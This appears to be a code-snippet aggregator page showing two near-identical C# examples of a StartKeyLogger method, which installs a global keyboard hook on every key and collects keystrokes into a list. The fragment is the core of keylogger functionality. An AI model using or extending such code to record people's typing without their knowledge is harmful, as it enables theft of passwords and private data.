Esempio n. 1
0
 public void StartKeyLogger()
 {
     Sentences      = new List <string>();
     gHook          = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook
     gHook.KeyDown += gHook_KeyDown;
     // Add the keys you want to hook to the HookedKeys list
     foreach (Keys key in Enum.GetValues(typeof(Keys)))
     {
         gHook.HookedKeys.Add(key);
     }
     gHook.unhook();
     gHook.hook();
 }
Esempio n. 2
0
 public void StartKeyLogger()
 {
     Sentences = new List<string>();
     gHook = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook
     gHook.KeyDown += gHook_KeyDown;
     // Add the keys you want to hook to the HookedKeys list
     foreach (Keys key in Enum.GetValues(typeof(Keys)))
     {
         gHook.HookedKeys.Add(key);
     }
     gHook.unhook();
     gHook.hook();
 }